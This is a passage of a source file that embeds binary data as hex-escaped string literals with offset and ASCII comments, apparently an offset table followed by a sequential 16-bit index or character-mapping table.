//........Â...Ý...\n/* 004320 */   \"\\xF7\\xAD\\x00\\x00\\x11\\xAE\\x00\\x00\\x25\\xAE\\x00\\x00\\x39\\xAE\\x00\\x00\"   //÷.......%...9...\n/* 004340 */   \"\\x50\\xAE\\x00\\x00\\x68\\xAE\\x00\\x00\\x82\\xAE\\x00\\x00\\x97\\xAE\\x00\\x00\"   //P...h...........\n/* 004360 */   \"\\xAC\\xAE\\x00\\x00\\xC3\\xAE\\x00\\x00\\xDC\\xAE\\x00\\x00\\xF7\\xAE\\x00\\x00\"   //....Ã...Ü...÷...\n/* 004380 */   \"\\x08\\xAF\\x00\\x00\\x1D\\xAF\\x00\\x00\\x39\\xAF\\x00\\x00\\x56\\xAF\\x00\\x00\"   //........9...V...\n/* 0043A0 */   \"\\x71\\xAF\\x00\\x00\\x8E\\xAF\\x00\\x00\\xB1\\xAF\\x00\\x00\\xCB\\xAF\\x00\\x00\"   //q...........Ë...\n/* 0043C0 */   \"\\xE5\\xAF\\x00\\x00\\x01\\xB0\\x00\\x00\\x17\\xB0\\x00\\x00\\x2E\\xB0\\x00\\x00\"   //å...............\n/* 0043E0 */   \"\\x48\\xB0\\x00\\x00\\x59\\xB0\\x00\\x00\\x64\\xB0\\x00\\x00\\x7C\\xB0\\x00\\x00\"   //H...Y...d...|...\n/* 004400 */   \"\\x8A\\xB0\\x00\\x00\\xA6\\xB0\\x00\\x00\\xB0\\xB0\\x00\\x00\\xC5\\xB0\\x00\\x00\"   //............Å...\n/* 004420 */   \"\\xDC\\xB0\\x00\\x00\\xFF\\xB0\\x00\\x00\\x28\\xB1\\x00\\x00\\x4A\\xB1\\x00\\x00\"   //Ü...ÿ...(...J...\n/* 004440 */   \"\\x66\\xB1\\x00\\x00\\x83\\xB1\\x00\\x00\\x9A\\xB1\\x00\\x00\\xA9\\xB1\\x00\\x00\"   //f...............\n/* 004460 */   \"\\xB6\\xB1\\x00\\x00\\xC5\\xB1\\x00\\x00\\xD2\\xB1\\x00\\x00\\xE4\\xB1\\x00\\x00\"   //....Å...Ò...ä...\n/* 004480 */   \"\\xF0\\xB1\\x00\\x00\\x13\\xB2\\x00\\x00\\x2E\\xB2\\x00\\x00\\x3A\\xB2\\x00\\x00\"   //ð...........:...\n/* 0044A0 */   \"\\x4A\\xB2\\x00\\x00\\x62\\xB2\\x00\\x00\\x7B\\xB2\\x00\\x00\\x90\\xB2\\x00\\x00\"   //J...b...{.......\n/* 0044C0 */   \"\\xA2\\xB2\\x00\\x00\\xAE\\xB2\\x00\\x00\\xC3\\xB2\\x00\\x00\\xD9\\xB2\\x00\\x00\"   //........Ã...Ù...\n/* 0044E0 */   \"\\xE5\\xB2\\x00\\x00\\xF3\\xB2\\x00\\x00\\x0F\\xB3\\x00\\x00\\x27\\xB3\\x00\\x00\"   //å...ó.......'...\n/* 004500 */   \"\\x3C\\xB3\\x00\\x00\\x58\\xB3\\x00\\x00\\x68\\xB3\\x00\\x00\\x7E\\xB3\\x00\\x00\"   //<...X...h...~...\n/* 004520 */   \"\\x95\\xB3\\x00\\x00\\xA3\\xB3\\x00\\x00\\xB7\\xB3\\x00\\x00\\xC9\\xB3\\x00\\x00\"   //............É...\n/* 004540 */   \"\\xE3\\xB3\\x00\\x00\\xFE\\xB3\\x00\\x00\\x1A\\xB4\\x00\\x00\\x35\\xB4\\x00\\x00\"   //ã...þ.......5...\n/* 004560 */   \"\\x51\\xB4\\x00\\x00\\x6C\\xB4\\x00\\x00\\x80\\xB4\\x00\\x00\\x94\\xB4\\x00\\x00\"   //Q...l...........\n/* 004580 */   \"\\xA2\\xB4\\x00\\x00\\xBD\\xB4\\x00\\x00\\xD1\\xB4\\x00\\x00\\xF2\\xB4\\x00\\x00\"   //........Ñ...ò...\n/* 0045A0 */   \"\\x10\\xB5\\x00\\x00\\x3B\\xB5\\x00\\x00\\x6E\\xB5\\x00\\x00\\x78\\xB5\\x00\\x00\"   //....;...n...x...\n/* 0045C0 */   \"\\x87\\xB5\\x00\\x00\\x9B\\xB5\\x00\\x00\\xB3\\xB5\\x00\\x00\\xC7\\xB5\\x00\\x00\"   //............Ç...\n/* 0045E0 */   \"\\xD5\\xB5\\x00\\x00\\xEF\\xB5\\x00\\x00\\x0B\\xB6\\x00\\x00\\x1B\\xB6\\x00\\x00\"   //Õ...ï...........\n/* 004600 */   \"\\x33\\xB6\\x00\\x00\\x4B\\xB6\\x00\\x00\\x66\\xB6\\x00\\x00\\x77\\xB6\\x00\\x00\"   //3...K...f...w...\n/* 004620 */   \"\\x93\\xB6\\x00\\x00\\xA2\\xB6\\x00\\x00\\xB0\\xB6\\x00\\x00\\xBD\\xB6\\x00\\x00\"   //................\n/* 004640 */   \"\\xC5\\xB6\\x00\\x00\\xDD\\xB6\\x00\\x00\\xEB\\xB6\\x00\\x00\\xFB\\xB6\\x00\\x00\"   //Å...Ý...ë...û...\n/* 004660 */   \"\\x11\\xB7\\x00\\x00\\x1F\\xB7\\x00\\x00\\x2D\\xB7\\x00\\x00\\x38\\xB7\\x00\\x00\"   //........-...8...\n/* 004680 */   \"\\x4C\\xB7\\x00\\x00\\x64\\xB7\\x00\\x00\\x72\\xB7\\x00\\x00\\x84\\xB7\\x00\\x00\"   //L...d...r.......\n/* 0046A0 */   \"\\x91\\xB7\\x00\\x00\\xA6\\xB7\\x00\\x00\\xB8\\xB7\\x00\\x00\\xC7\\xB7\\x00\\x00\"   //............Ç...\n/* 0046C0 */   \"\\xD3\\xB7\\x00\\x00\\xE6\\xB7\\x00\\x00\\xFB\\xB7\\x00\\x00\\x0A\\xB8\\x00\\x00\"   //Ó...æ...û.......\n/* 0046E0 */   \"\\x20\\xB8\\x00\\x00\\x33\\xB8\\x00\\x00\\x40\\xB8\\x00\\x00\\x50\\xB8\\x00\\x00\"   //....3...@...P...\n/* 004700 */   \"\\x62\\xB8\\x00\\x00\\x72\\xB8\\x00\\x00\\x82\\xB8\\x00\\x00\\x94\\xB8\\x00\\x00\"   //b...r...........\n/* 004720 */   \"\\xAF\\xB8\\x00\\x00\\xBE\\xB8\\x00\\x00\\xCC\\xB8\\x00\\x00\\xDA\\xB8\\x00\\x00\"   //........Ì...Ú...\n/* 004740 */   \"\\xEF\\xB8\\x00\\x00\\x04\\xB9\\x00\\x00\\x14\\xB9\\x00\\x00\\x25\\xB9\\x00\\x00\"   //ï...........%...\n/* 004760 */   \"\\x32\\xB9\\x00\\x00\\x44\\xB9\\x00\\x00\\x51\\xB9\\x00\\x00\\x5D\\xB9\\x00\\x00\"   //2...D...Q...]...\n/* 004780 */   \"\\x76\\xB9\\x00\\x00\\x87\\xB9\\x00\\x00\\x9D\\xB9\\x00\\x00\\xAD\\xB9\\x00\\x00\"   //v...............\n/* 0047A0 */   \"\\xBF\\xB9\\x00\\x00\\xD0\\xB9\\x00\\x00\\xE7\\xB9\\x00\\x00\\xF6\\xB9\\x00\\x00\"   //....Ð...ç...ö...\n/* 0047C0 */   \"\\x1B\\xBA\\x00\\x00\\x2F\\xBA\\x00\\x00\\x3F\\xBA\\x00\\x00\\x4D\\xBA\\x00\\x00\"   //..../...?...M...\n/* 0047E0 */   \"\\x58\\xBA\\x00\\x00\\x6B\\xBA\\x00\\x00\\x83\\xBA\\x00\\x00\\x8E\\xBA\\x00\\x00\"   //X...k...........\n/* 004800 */   \"\\xA3\\xBA\\x00\\x00\\xB6\\xBA\\x00\\x00\\xCE\\xBA\\x00\\x00\\xE2\\xBA\\x00\\x00\"   //........Î...â...\n/* 004820 */   \"\\xF2\\xBA\\x00\\x00\\x05\\xBB\\x00\\x00\\x1B\\xBB\\x00\\x00\\x2E\\xBB\\x00\\x00\"   //ò...............\n/* 004840 */   \"\\x3E\\xBB\\x00\\x00\\x5A\\xBB\\x00\\x00\\x74\\xBB\\x00\\x00\\x88\\xBB\\x00\\x00\"   //>...Z...t.......\n/* 004860 */   \"\\x9D\\xBB\\x00\\x00\\xB3\\xBB\\x00\\x00\\xC4\\xBB\\x00\\x00\\xDE\\xBB\\x00\\x00\"   //........Ä...Þ...\n/* 004880 */   \"\\xEB\\xBB\\x00\\x00\\xF8\\xBB\\x00\\x00\\x02\\xBC\\x00\\x00\\x0D\\xBC\\x00\\x00\"   //ë...ø...........\n/* 0048A0 */   \"\\x18\\xBC\\x00\\x00\\x34\\xBC\\x00\\x00\\x46\\xBC\\x00\\x00\\x5A\\xBC\\x00\\x00\"   //....4...F...Z...\n/* 0048C0 */   \"\\x70\\xBC\\x00\\x00\\x86\\xBC\\x00\\x00\\x9D\\xBC\\x00\\x00\\xBB\\xBC\\x00\\x00\"   //p...............\n/* 0048E0 */   \"\\xCE\\xBC\\x00\\x00\\xE0\\xBC\\x00\\x00\\xFC\\xBC\\x00\\x00\\x0E\\xBD\\x00\\x00\"   //Î...à...ü.......\n/* 004900 */   \"\\x29\\xBD\\x00\\x00\\x3F\\xBD\\x00\\x00\\x4B\\xBD\\x00\\x00\\x5B\\xBD\\x00\\x00\"   //)...?...K...[...\n/* 004920 */   \"\\x66\\xBD\\x00\\x00\\x79\\xBD\\x00\\x00\\x89\\xBD\\x00\\x00\\x93\\xBD\\x00\\x00\"   //f...y...........\n/* 004940 */   \"\\xA4\\xBD\\x00\\x00\\xB1\\xBD\\x00\\x00\\xC8\\xBD\\x00\\x00\\xD6\\xBD\\x00\\x00\"   //........È...Ö...\n/* 004960 */   \"\\xE9\\xBD\\x00\\x00\\xFE\\xBD\\x00\\x00\\x0C\\xBE\\x00\\x00\\x1C\\xBE\\x00\\x00\"   //é...þ...........\n/* 004980 */   \"\\x35\\xBE\\x00\\x00\\x42\\xBE\\x00\\x00\\x54\\xBE\\x00\\x00\\x68\\xBE\\x00\\x00\"   //5...B...T...h...\n/* 0049A0 */   \"\\x74\\xBE\\x00\\x00\\x86\\xBE\\x00\\x00\\x99\\xBE\\x00\\x00\\xAA\\xBE\\x00\\x00\"   //t...............\n/* 0049C0 */   \"\\xC6\\xBE\\x00\\x00\\xE4\\xBE\\x00\\x00\\xFB\\xBE\\x00\\x00\\x08\\xBF\\x00\\x00\"   //Æ...ä...û.......\n/* 0049E0 */   \"\\x1E\\xBF\\x00\\x00\\x34\\xBF\\x00\\x00\\x47\\xBF\\x00\\x00\\x5F\\xBF\\x00\\x00\"   //....4...G..._...\n/* 004A00 */   \"\\x74\\xBF\\x00\\x00\\x8D\\xBF\\x00\\x00\\xA2\\xBF\\x00\\x00\\xB9\\xBF\\x00\\x00\"   //t...............\n/* 004A20 */   \"\\xC7\\xBF\\x00\\x00\\xD4\\xBF\\x00\\x00\\xEE\\xBF\\x00\\x00\\x05\\xC0\\x00\\x00\"   //Ç...Ô...î....À..\n/* 004A40 */   \"\\x1C\\xC0\\x00\\x00\\x38\\xC0\\x00\\x00\\x4F\\xC0\\x00\\x00\\x69\\xC0\\x00\\x00\"   //.À..8À..OÀ..iÀ..\n/* 004A60 */   \"\\x82\\xC0\\x00\\x00\\x9A\\xC0\\x00\\x00\\xB3\\xC0\\x00\\x00\\xCA\\xC0\\x00\\x00\"   //.À...À...À..ÊÀ..\n/* 004A80 */   \"\\xDE\\xC0\\x00\\x00\\xE9\\xC0\\x00\\x00\\x01\\xC1\\x00\\x00\\x0F\\xC1\\x00\\x00\"   //ÞÀ..éÀ...Á...Á..\n/* 004AA0 */   \"\\x1D\\xC1\\x00\\x00\\x30\\xC1\\x00\\x00\\x4A\\xC1\\x00\\x00\\x68\\xC1\\x00\\x00\"   //.Á..0Á..JÁ..hÁ..\n/* 004AC0 */   \"\\x84\\xC1\\x00\\x00\\x93\\xC1\\x00\\x00\\xA9\\xC1\\x00\\x00\\xBA\\xC1\\x00\\x00\"   //.Á...Á...Á...Á..\n/* 004AE0 */   \"\\xD4\\xC1\\x00\\x00\\xF2\\xC1\\x00\\x00\\x12\\xC2\\x00\\x00\\x2B\\xC2\\x00\\x00\"   //ÔÁ..òÁ...Â..+Â..\n/* 004B00 */   \"\\x3D\\xC2\\x00\\x00\\x4A\\xC2\\x00\\x00\\x61\\xC2\\x00\\x00\\x71\\xC2\\x00\\x00\"   //=Â..JÂ..aÂ..qÂ..\n/* 004B20 */   \"\\x86\\xC2\\x00\\x00\\xA3\\xC2\\x00\\x00\\xB4\\xC2\\x00\\x00\\xC5\\xC2\\x00\\x00\"   //.Â...Â...Â..ÅÂ..\n/* 004B40 */   \"\\xD6\\xC2\\x00\\x00\\xE1\\xC2\\x00\\x00\\xF3\\xC2\\x00\\x00\\x05\\xC3\\x00\\x00\"   //ÖÂ..áÂ..óÂ...Ã..\n/* 004B60 */   \"\\x19\\xC3\\x00\\x00\\x37\\xC3\\x00\\x00\\x4B\\xC3\\x00\\x00\\x5B\\xC3\\x00\\x00\"   //.Ã..7Ã..KÃ..[Ã..\n/* 004B80 */   \"\\x6E\\xC3\\x00\\x00\\x83\\xC3\\x00\\x00\\x98\\xC3\\x00\\x00\\xA4\\xC3\\x00\\x00\"   //nÃ...Ã...Ã...Ã..\n/* 004BA0 */   \"\\xB1\\xC3\\x00\\x00\\xBD\\xC3\\x00\\x00\\xD4\\xC3\\x00\\x00\\xED\\xC3\\x00\\x00\"   //.Ã...Ã..ÔÃ..íÃ..\n/* 004BC0 */   \"\\x02\\xC4\\x00\\x00\\x18\\xC4\\x00\\x00\\x26\\xC4\\x00\\x00\\x3D\\xC4\\x00\\x00\"   //.Ä...Ä..&Ä..=Ä..\n/* 004BE0 */   \"\\x54\\xC4\\x00\\x00\\x61\\xC4\\x00\\x00\\x73\\xC4\\x00\\x00\\x80\\xC4\\x00\\x00\"   //TÄ..aÄ..sÄ...Ä..\n/* 004C00 */   \"\\x90\\xC4\\x00\\x00\\x9F\\xC4\\x00\\x00\\xA9\\xC4\\x00\\x00\\xB5\\xC4\\x00\\x00\"   //.Ä...Ä...Ä...Ä..\n/* 004C20 */   \"\\xC6\\xC4\\x00\\x00\\xDA\\xC4\\x00\\x00\\xEE\\xC4\\x00\\x00\\xFF\\xC4\\x00\\x00\"   //ÆÄ..ÚÄ..îÄ..ÿÄ..\n/* 004C40 */   \"\\x12\\xC5\\x00\\x00\\x28\\xC5\\x00\\x00\\x42\\xC5\\x00\\x00\\x55\\xC5\\x00\\x00\"   //.Å..(Å..BÅ..UÅ..\n/* 004C60 */   \"\\x6C\\xC5\\x00\\x00\\x78\\xC5\\x00\\x00\\x83\\xC5\\x00\\x00\\x9B\\xC5\\x00\\x00\"   //lÅ..xÅ...Å...Å..\n/* 004C80 */   \"\\xAE\\xC5\\x00\\x00\\xC8\\xC5\\x00\\x00\\xE4\\xC5\\x00\\x00\\xF9\\xC5\\x00\\x00\"   //.Å..ÈÅ..äÅ..ùÅ..\n/* 004CA0 */   \"\\x13\\xC6\\x00\\x00\\x27\\xC6\\x00\\x00\\x3E\\xC6\\x00\\x00\\x56\\xC6\\x00\\x00\"   //.Æ..'Æ..>Æ..VÆ..\n/* 004CC0 */   \"\\x6D\\xC6\\x00\\x00\\x83\\xC6\\x00\\x00\\x98\\xC6\\x00\\x00\\xAA\\xC6\\x00\\x00\"   //mÆ...Æ...Æ...Æ..\n/* 004CE0 */   \"\\xBA\\xC6\\x00\\x00\\xCC\\xC6\\x00\\x00\\xE6\\xC6\\x00\\x00\\x00\\xC7\\x00\\x00\"   //.Æ..ÌÆ..æÆ...Ç..\n/* 004D00 */   \"\\x14\\xC7\\x00\\x00\\x30\\xC7\\x00\\x00\\x4E\\xC7\\x00\\x00\\x65\\xC7\\x00\\x00\"   //.Ç..0Ç..NÇ..eÇ..\n/* 004D20 */   \"\\x7B\\xC7\\x00\\x00\\x8B\\xC7\\x00\\x00\\xA5\\xC7\\x00\\x00\\xB0\\xC7\\x00\\x00\"   //{Ç...Ç...Ç...Ç..\n/* 004D40 */   \"\\xC5\\xC7\\x00\\x00\\xD3\\xC7\\x00\\x00\\xE1\\xC7\\x00\\x00\\xFC\\xC7\\x00\\x00\"   //ÅÇ..ÓÇ..áÇ..üÇ..\n/* 004D60 */   \"\\x0D\\xC8\\x00\\x00\\x2C\\xC8\\x00\\x00\\x3B\\xC8\\x00\\x00\\x49\\xC8\\x00\\x00\"   //.È..,È..;È..IÈ..\n/* 004D80 */   \"\\x5A\\xC8\\x00\\x00\\x6A\\xC8\\x00\\x00\\x7F\\xC8\\x00\\x00\\x94\\xC8\\x00\\x00\"   //ZÈ..jÈ...È...È..\n/* 004DA0 */   \"\\xA7\\xC8\\x00\\x00\\xB9\\xC8\\x00\\x00\\xC5\\xC8\\x00\\x00\\xD2\\xC8\\x00\\x00\"   //.È...È..ÅÈ..ÒÈ..\n/* 004DC0 */   \"\\xE6\\xC8\\x00\\x00\\xF5\\xC8\\x00\\x00\\x01\\xC9\\x00\\x00\\x0F\\xC9\\x00\\x00\"   //æÈ..õÈ...É...É..\n/* 004DE0 */   \"\\x1C\\xC9\\x00\\x00\\x32\\xC9\\x00\\x00\\x47\\xC9\\x00\\x00\\x54\\xC9\\x00\\x00\"   //.É..2É..GÉ..TÉ..\n/* 004E00 */   \"\\x68\\xC9\\x00\\x00\\x7C\\xC9\\x00\\x00\\x95\\xC9\\x00\\x00\\xAB\\xC9\\x00\\x00\"   //hÉ..|É...É...É..\n/* 004E20 */   \"\\xBF\\xC9\\x00\\x00\\xD2\\xC9\\x00\\x00\\xDE\\xC9\\x00\\x00\\xF0\\xC9\\x00\\x00\"   //.É..ÒÉ..ÞÉ..ðÉ..\n/* 004E40 */   \"\\x03\\xCA\\x00\\x00\\x18\\xCA\\x00\\x00\\x29\\xCA\\x00\\x00\\x30\\xCA\\x00\\x00\"   //.Ê...Ê..)Ê..0Ê..\n/* 004E60 */   \"\\x37\\xCA\\x00\\x00\\x3E\\xCA\\x00\\x00\\x45\\xCA\\x00\\x00\\x4D\\xCA\\x00\\x00\"   //7Ê..>Ê..EÊ..MÊ..\n/* 004E80 */   \"\\x57\\xCA\\x00\\x00\\x60\\xCA\\x00\\x00\\x6A\\xCA\\x00\\x00\\x74\\xCA\\x00\\x00\"   //WÊ..`Ê..jÊ..tÊ..\n/* 004EA0 */   \"\\x7C\\xCA\\x00\\x00\\x85\\xCA\\x00\\x00\\x8D\\xCA\\x00\\x00\\x9B\\xCA\\x00\\x00\"   //|Ê...Ê...Ê...Ê..\n/* 004EC0 */   \"\\xA3\\xCA\\x00\\x00\\xAB\\xCA\\x00\\x00\\xB3\\xCA\\x00\\x00\\xBB\\xCA\\x00\\x00\"   //.Ê...Ê...Ê...Ê..\n/* 004EE0 */   \"\\xC4\\xCA\\x00\\x00\\xCE\\xCA\\x00\\x00\\xD7\\xCA\\x00\\x00\\xE0\\xCA\\x00\\x00\"   //ÄÊ..ÎÊ..×Ê..àÊ..\n/* 004F00 */   \"\\xE8\\xCA\\x00\\x00\\xF1\\xCA\\x00\\x00\\xF7\\xCA\\x00\\x00\\xFF\\xCA\\x00\\x00\"   //èÊ..ñÊ..÷Ê..ÿÊ..\n/* 004F20 */   \"\\x07\\xCB\\x00\\x00\\x0D\\xCB\\x00\\x00\\x13\\xCB\\x00\\x00\\x1A\\xCB\\x00\\x00\"   //.Ë...Ë...Ë...Ë..\n/* 004F40 */   \"\\x20\\xCB\\x00\\x00\\x26\\xCB\\x00\\x00\\x2F\\xCB\\x00\\x00\\x38\\xCB\\x00\\x00\"   //.Ë..&Ë../Ë..8Ë..\n/* 004F60 */   \"\\x42\\xCB\\x00\\x00\\x4D\\xCB\\x00\\x00\\x58\\xCB\\x00\\x00\\x61\\xCB\\x00\\x00\"   //BË..MË..XË..aË..\n/* 004F80 */   \"\\x6A\\xCB\\x00\\x00\\x72\\xCB\\x00\\x00\\x7C\\xCB\\x00\\x00\\x84\\xCB\\x00\\x00\"   //jË..rË..|Ë...Ë..\n/* 004FA0 */   \"\\x8D\\xCB\\x00\\x00\\x96\\xCB\\x00\\x00\\x9F\\xCB\\x00\\x00\\xA8\\xCB\\x00\\x00\"   //.Ë...Ë...Ë...Ë..\n/* 004FC0 */   \"\\xAF\\xCB\\x00\\x00\\xB6\\xCB\\x00\\x00\\xC1\\xCB\\x00\\x00\\xCD\\xCB\\x00\\x00\"   //.Ë...Ë..ÁË..ÍË..\n/* 004FE0 */   \"\\xD6\\xCB\\x00\\x00\\xDE\\xCB\\x00\\x00\\xE8\\xCB\\x00\\x00\\xF0\\xCB\\x00\\x00\"   //ÖË..ÞË..èË..ðË..\n/* 005000 */   \"\\xF6\\xCB\\x00\\x00\\xFE\\xCB\\x00\\x00\\x04\\xCC\\x00\\x00\\x08\\xCC\\x00\\x00\"   //öË..þË...Ì...Ì..\n/* 005020 */   \"\\x0D\\xCC\\x00\\x00\\x12\\xCC\\x00\\x00\\x17\\xCC\\x00\\x00\\x1F\\xCC\\x00\\x00\"   //.Ì...Ì...Ì...Ì..\n/* 005040 */   \"\\x24\\xCC\\x00\\x00\\x28\\xCC\\x00\\x00\\x2D\\xCC\\x00\\x00\\x33\\xCC\\x00\\x00\"   //$Ì..(Ì..-Ì..3Ì..\n/* 005060 */   \"\\x3B\\xCC\\x00\\x00\\x43\\xCC\\x00\\x00\\x4B\\xCC\\x00\\x00\\x53\\xCC\\x00\\x00\"   //;Ì..CÌ..KÌ..SÌ..\n/* 005080 */   \"\\x5B\\xCC\\x00\\x00\\x63\\xCC\\x00\\x00\\x6B\\xCC\\x00\\x00\\x73\\xCC\\x00\\x00\"   //[Ì..cÌ..kÌ..sÌ..\n/* 0050A0 */   \"\\x7B\\xCC\\x00\\x00\\x83\\xCC\\x00\\x00\\x8C\\xCC\\x00\\x00\\x95\\xCC\\x00\\x00\"   //{Ì...Ì...Ì...Ì..\n/* 0050C0 */   \"\\x9E\\xCC\\x00\\x00\\xA7\\xCC\\x00\\x00\\xB0\\xCC\\x00\\x00\\xBA\\xCC\\x00\\x00\"   //.Ì...Ì...Ì...Ì..\n/* 0050E0 */   \"\\xC3\\xCC\\x00\\x00\\xC8\\xCC\\x00\\x00\\xCC\\xCC\\x00\\x00\\xD5\\xCC\\x00\\x00\"   //ÃÌ..ÈÌ..ÌÌ..ÕÌ..\n/* 005100 */   \"\\xDC\\xCC\\x00\\x00\\xE3\\xCC\\x00\\x00\\xEA\\xCC\\x00\\x00\\xF2\\xCC\\x00\\x00\"   //ÜÌ..ãÌ..êÌ..òÌ..\n/* 005120 */   \"\\xF9\\xCC\\x00\\x00\\xFD\\xCC\\x00\\x00\\x03\\xCD\\x00\\x00\\x07\\xCD\\x00\\x00\"   //ùÌ..ýÌ...Í...Í..\n/* 005140 */   \"\\x0F\\xCD\\x00\\x00\\x14\\xCD\\x00\\x00\\x1B\\xCD\\x00\\x00\\x22\\xCD\\x00\\x00\"   //.Í...Í...Í..\"Í..\n/* 005160 */   \"\\x29\\xCD\\x00\\x00\\x30\\xCD\\x00\\x00\\x37\\xCD\\x00\\x00\\x3F\\xCD\\x00\\x00\"   //)Í..0Í..7Í..?Í..\n/* 005180 */   \"\\x46\\xCD\\x00\\x00\\x4E\\xCD\\x00\\x00\\x56\\xCD\\x00\\x00\\x5E\\xCD\\x00\\x00\"   //FÍ..NÍ..VÍ..^Í..\n/* 0051A0 */   \"\\x66\\xCD\\x00\\x00\\x6E\\xCD\\x00\\x00\\x75\\xCD\\x00\\x00\\x7C\\xCD\\x00\\x00\"   //fÍ..nÍ..uÍ..|Í..\n/* 0051C0 */   \"\\x83\\xCD\\x00\\x00\\x8B\\xCD\\x00\\x00\\x94\\xCD\\x00\\x00\\x98\\xCD\\x00\\x00\"   //.Í...Í...Í...Í..\n/* 0051E0 */   \"\\xA0\\xCD\\x00\\x00\\xA8\\xCD\\x00\\x00\\xB1\\xCD\\x00\\x00\\xBA\\xCD\\x00\\x00\"   //.Í...Í...Í...Í..\n/* 005200 */   \"\\xC6\\xCD\\x00\\x00\\xDC\\xCD\\x00\\x00\\xE5\\xCD\\x00\\x00\\xEC\\xCD\\x00\\x00\"   //ÆÍ..ÜÍ..åÍ..ìÍ..\n/* 005220 */   \"\\xF3\\xCD\\x00\\x00\\xFA\\xCD\\x00\\x00\\x01\\xCE\\x00\\x00\\x09\\xCE\\x00\\x00\"   //óÍ..úÍ...Î...Î..\n/* 005240 */   \"\\x10\\xCE\\x00\\x00\\x18\\xCE\\x00\\x00\\x20\\xCE\\x00\\x00\\x28\\xCE\\x00\\x00\"   //.Î...Î...Î..(Î..\n/* 005260 */   \"\\x30\\xCE\\x00\\x00\\x38\\xCE\\x00\\x00\\x3F\\xCE\\x00\\x00\\x46\\xCE\\x00\\x00\"   //0Î..8Î..?Î..FÎ..\n/* 005280 */   \"\\x4D\\xCE\\x00\\x00\\x56\\xCE\\x00\\x00\\x07\\x00\\x08\\x00\\x09\\x00\\x0A\\x00\"   //MÎ..VÎ..........\n/* 0052A0 */   \"\\x0B\\x00\\x0C\\x00\\x0D\\x00\\x0E\\x00\\x0F\\x00\\x10\\x00\\x11\\x00\\x12\\x00\"   //................\n/* 0052C0 */   \"\\x13\\x00\\x14\\x00\\x15\\x00\\x16\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\x1A\\x00\"   //................\n/* 0052E0 */   \"\\x1B\\x00\\x1C\\x00\\x1D\\x00\\x1E\\x00\\x1F\\x00\\x20\\x00\\x21\\x00\\x22\\x00\"   //............!.\".\n/* 005300 */   \"\\x23\\x00\\x24\\x00\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\\x29\\x00\\x2A\\x00\"   //#.$.%.&.'.(.).*.\n/* 005320 */   \"\\x2B\\x00\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\\x31\\x00\\x32\\x00\"   //+.,.-.../.0.1.2.\n/* 005340 */   \"\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\\x37\\x00\\x38\\x00\\x39\\x00\\x3A\\x00\"   //3.4.5.6.7.8.9.:.\n/* 005360 */   \"\\x3B\\x00\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\\x41\\x00\\x42\\x00\"   //;.<.=.>.?.@.A.B.\n/* 005380 */   \"\\x43\\x00\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\\x49\\x00\\x4A\\x00\"   //C.D.E.F.G.H.I.J.\n/* 0053A0 */   \"\\x4B\\x00\\x4C\\x00\\x4D\\x00\\x4E\\x00\\x4F\\x00\\x50\\x00\\x51\\x00\\x52\\x00\"   //K.L.M.N.O.P.Q.R.\n/* 0053C0 */   \"\\x53\\x00\\x54\\x00\\x55\\x00\\x56\\x00\\x57\\x00\\x58\\x00\\x59\\x00\\x5A\\x00\"   //S.T.U.V.W.X.Y.Z.\n/* 0053E0 */   \"\\x5B\\x00\\x5C\\x00\\x5D\\x00\\x5E\\x00\\x5F\\x00\\x60\\x00\\x61\\x00\\x62\\x00\"   //[.\\.].^._.`.a.b.\n/* 005400 */   \"\\x63\\x00\\x64\\x00\\x65\\x00\\x66\\x00\\x67\\x00\\x68\\x00\\x69\\x00\\x6A\\x00\"   //c.d.e.f.g.h.i.j.\n/* 005420 */   \"\\x6B\\x00\\x6C\\x00\\x6D\\x00\\x6E\\x00\\x6F\\x00\\x70\\x00\\x71\\x00\\x72\\x00\"   //k.l.m.n.o.p.q.r.\n/* 005440 */   \"\\x73\\x00\\x74\\x00\\x75\\x00\\x76\\x00\\x77\\x00\\x78\\x00\\x79\\x00\\x7A\\x00\"   //s.t.u.v.w.x.y.z.\n/* 005460 */   \"\\x7B\\x00\\x7C\\x00\\x7D\\x00\\x7E\\x00\\x7F\\x00\\x80\\x00\\x81\\x00\\x82\\x00\"   //{.|.}.~.........\n/* 005480 */   \"\\x83\\x00\\x84\\x00\\x85\\x00\\x86\\x00\\x87\\x00\\x88\\x00\\x89\\x00\\x8A\\x00\"   //................\n/* 0054A0 */   \"\\x8B\\x00\\x8C\\x00\\x8D\\x00\\x8E\\x00\\x8F\\x00\\x90\\x00\\x91\\x00\\x92\\x00\"   //................\n/* 0054C0 */   \"\\x93\\x00\\x94\\x00\\x95\\x00\\x96\\x00\\x97\\x00\\x98\\x00\\x99\\x00\\x9A\\x00\"   //................\n/* 0054E0 */   \"\\x9B\\x00\\x9C\\x00\\x9D\\x00\\x9E\\x00\\x9F\\x00\\xA0\\x00\\xA1\\x00\\xA2\\x00\"   //................\n/* 005500 */   \"\\xA3\\x00\\xA4\\x00\\xA5\\x00\\xA6\\x00\\xA7\\x00\\xA8\\x00\\xA9\\x00\\xAA\\x00\"   //................\n/* 005520 */   \"\\xAB\\x00\\xAC\\x00\\xAD\\x00\\xAE\\x00\\xAF\\x00\\xB0\\x00\\xB1\\x00\\xB2\\x00\"   //................\n/* 005540 */   \"\\xB3\\x00\\xB4\\x00\\xB5\\x00\\xB6\\x00\\xB7\\x00\\xB8\\x00\\xBA\\x00\\xB9\\x00\"   //................\n/* 005560 */   \"\\xBB\\x00\\xBC\\x00\\xBD\\x00\\xBE\\x00\\xBF\\x00\\xC0\\x00\\xC1\\x00\\xC2\\x00\"   //..........À.Á.Â.\n/* 005580 */   \"\\xC3\\x00\\xC4\\x00\\xC5\\x00\\xC6\\x00\\xC7\\x00\\xC8\\x00\\xC9\\x00\\xCA\\x00\"   //Ã.Ä.Å.Æ.Ç.È.É.Ê.\n/* 0055A0 */   \"\\xCB\\x00\\xCC\\x00\\xCD\\x00\\xCE\\x00\\xCF\\x00\\xD0\\x00\\xD1\\x00\\xD2\\x00\"   //Ë.Ì.Í.Î.Ï.Ð.Ñ.Ò.\n/* 0055C0 */   \"\\xD3\\x00\\xD4\\x00\\xD5\\x00\\xD6\\x00\\xD7\\x00\\xD8\\x00\\xD9\\x00\\xDA\\x00\"   //Ó.Ô.Õ.Ö.×.Ø.Ù.Ú.\n/* 0055E0 */   